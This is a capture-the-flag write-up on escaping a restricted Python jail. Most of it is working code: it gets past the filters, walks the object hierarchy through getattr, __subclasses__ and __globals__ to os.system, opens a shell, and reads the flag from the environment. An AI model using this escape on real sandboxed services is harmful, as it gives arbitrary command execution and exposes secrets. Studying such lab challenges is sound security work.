# hell_of_a_jail
We are in a Python jail, which tells us we need to call `exit()` witha parameter to escape. After trying a few things, we run into severalrestrictions:
* commands longer than 12 characters are truncated,* `.` characters are filtered out,* `__` are filtered out (but not `_`),* we cannot use `"`, and* almost no functions we try work and we cannot import anything.
The underscore and period filtering are applied in the wrong order, sowe can bypass the underscore check and read `__builtins__` by running:
```>>> _._builtins_._{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}```
Now we know that we have `getattr` available, which lets us avoidusing `.` to access attributes. We can start from a simple tupleobject (`()`), climb up the hierarchy to get to the `object` class andsee which subclasses we can work with here. To avoid the 12-characterlimit, we will alias everything to single-character names and usevariables to store long string parameters:
```e=exitp=printu='_._'c=u+'class'+ub=u+'base'+us=u+'subcla's=s+'sses'+ut=g((),c)  # ().__class__o=g(t,b)   # ... .__base__x=g(o,s)   # ... .__subclasses__```
Now, if we print `x()`, we will see a list of classes we can reach.One interesting option is `os._wrap_close`, which will let us accessthe `os` module to get to `system`. It is at index `127`, so:
```w=x()[127]     # os._wrap_closei=u+'init'+ul=u+'glob'l=l+'als'+uz=g(w,i)       # ... .__init__a=g(z,l)       # ... .__globals__s=a['system']  # ... ['system']```
Now all that remains is to call `s('sh')` to get a shell. This lets usread the compiled jail shell `jail.pyc`, which we can decompile using`uncompyle6` and read the `exit()` check:
```def exit(arg):    """Must invoke with the right arg in order to get the flag."""    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:        print('Oh no ! You managed to escape\nValidate with the key')        return sys.exit(0)    print('Wrong key')```
All that remains is to read the key from the environment variable.Since we already have a shell available, we can just run `env` and getthe flag.